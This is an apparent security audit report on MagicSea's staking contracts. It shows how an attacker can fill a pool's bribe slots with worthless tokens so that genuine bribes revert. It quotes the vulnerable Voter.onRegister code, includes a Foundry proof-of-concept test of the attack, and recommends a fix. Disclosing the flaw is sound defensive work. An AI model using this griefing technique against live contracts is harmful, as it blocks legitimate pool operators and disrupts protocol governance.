Slow Maroon Gibbon

Medium

# Malicious users can exploit the bribe mechanism by awarding worthless tokens as a bribe and reaching the max bribe limit.

## Summary
Malicious users or competitors can create multiple BribeRewarder contracts with worthless tokens, register them as the poolâ€™s bribe rewards for a particular voting period, and hit the maximum reward limit. Since the tokens are worthless, no one will find the bribe profitable, and thus no one will vote in the pool.
## Vulnerability Detail
If we look into the `Voter:onRegister` function, it has a check to ensure that only a specific number of BribeRewarders are registered for the pool during a particular voting period. In the test, the `MAX_BRIBES_PER_POOL` is set to 5, meaning anyone can bribe for the pool but can only use a maximum of 5 tokens.
https://github.com/sherlock-audit/2024-06-magicsea/blob/42e799446595c542eff9519353d3becc50cdba63/magicsea-staking/src/Voter.sol#L141
```jsx
function onRegister() external override {
    IBribeRewarder rewarder = IBribeRewarder(msg.sender);

    _checkRegisterCaller(rewarder);

    uint256 currentPeriodId = _currentVotingPeriodId;
    (address pool, uint256[] memory periods) = rewarder.getBribePeriods();
    for (uint256 i = 0; i < periods.length; ++i) {
        // TODO check if rewarder token + pool is already registered

        require(periods[i] >= currentPeriodId, "wrong period");
        require(
            _bribesPerPriod[periods[i]][pool].length + 1 <=
->>            Constants.MAX_BRIBES_PER_POOL,
            "too much bribes"
        );
        _bribesPerPriod[periods[i]][pool].push(rewarder);
    }
}

```

Since anyone can register this rewarded contract, a malicious actor or competing pool owner can create 5 rewarded contracts with worthless tokens and register them as bribes.

This will make the bribe mechanism fail because no one will vote for that pool as the bribe rewards are worthless. The pool manager cannot do anything to attract people because the max bribe limit is already reached.

### POC

Here is a simple test to demonstrate how this attack can come to play. 

Paste this in `BribeRewarder.t.sol`

```jsx
function testGriefBirbes() public {
        /* ---------------------------- WORTHLESS TOKENS ---------------------------- */

        IERC20 rewardToken1 = IERC20(new ERC20Mock("Reward Token 1", "RT1", 6));
        IERC20 rewardToken2 = IERC20(new ERC20Mock("Reward Token 2", "RT2", 6));
        IERC20 rewardToken3 = IERC20(new ERC20Mock("Reward Token 3", "RT3", 6));
        IERC20 rewardToken4 = IERC20(new ERC20Mock("Reward Token 4", "RT3", 6));
        IERC20 rewardToken5 = IERC20(new ERC20Mock("Reward Token 5", "RT5", 6));

        BribeRewarder rewarder1 = BribeRewarder(
            payable(address(factory.createBribeRewarder(rewardToken1, pool)))
        );
        BribeRewarder rewarder2 = BribeRewarder(
            payable(address(factory.createBribeRewarder(rewardToken2, pool)))
        );
        BribeRewarder rewarder3 = BribeRewarder(
            payable(address(factory.createBribeRewarder(rewardToken3, pool)))
        );
        BribeRewarder rewarder4 = BribeRewarder(
            payable(address(factory.createBribeRewarder(rewardToken4, pool)))
        );
        BribeRewarder rewarder5 = BribeRewarder(
            payable(address(factory.createBribeRewarder(rewardToken5, pool)))
        );

        ERC20Mock(address(rewardToken1)).mint(address(this), 20e18);
        ERC20Mock(address(rewardToken2)).mint(address(this), 20e18);
        ERC20Mock(address(rewardToken3)).mint(address(this), 20e18);
        ERC20Mock(address(rewardToken4)).mint(address(this), 20e18);
        ERC20Mock(address(rewardToken5)).mint(address(this), 20e18);

        ERC20Mock(address(rewardToken1)).approve(address(rewarder1), 20e18);
        ERC20Mock(address(rewardToken2)).approve(address(rewarder2), 20e18);
        ERC20Mock(address(rewardToken3)).approve(address(rewarder3), 20e18);
        ERC20Mock(address(rewardToken4)).approve(address(rewarder4), 20e18);
        ERC20Mock(address(rewardToken5)).approve(address(rewarder5), 20e18);

        rewarder1.fundAndBribe(1, 1, 10e18);
        rewarder2.fundAndBribe(1, 1, 10e18);
        rewarder3.fundAndBribe(1, 1, 10e18);
        rewarder4.fundAndBribe(1, 1, 10e18);
        rewarder5.fundAndBribe(1, 1, 10e18);

        /* --------------------------- ACTUAL REWARD TOKEN -------------------------- */

        IERC20 actualRewardToken = IERC20(
            new ERC20Mock("Reward Token Actual ", "ART", 6)
        );

        BribeRewarder rewarderActual = BribeRewarder(
            payable(
                address(factory.createBribeRewarder(actualRewardToken, pool))
            )
        );

        ERC20Mock(address(actualRewardToken)).mint(address(this), 20e18);
        ERC20Mock(address(actualRewardToken)).approve(
            address(rewarderActual),
            20e18
        );
        // The transation fail and the bribe for this period is unsuccessful
        vm.expectRevert("too much bribes");
        rewarderActual.fundAndBribe(1, 1, 10e18);
    }
```

Here malicious actors create a 5 rewarder with worthless tokens and hit the limit. When an actual pool owner wants to register the actual reward token the transaction fails.

## Impact
The bribe mechanism will break. 

## Code Snippet
https://github.com/sherlock-audit/2024-06-magicsea/blob/42e799446595c542eff9519353d3becc50cdba63/magicsea-staking/src/Voter.sol#L141

## Tool used

Manual Review

## Recommendation
Either remove the max bribe limit or allow only the whitelisted tokens as bribe rewards.
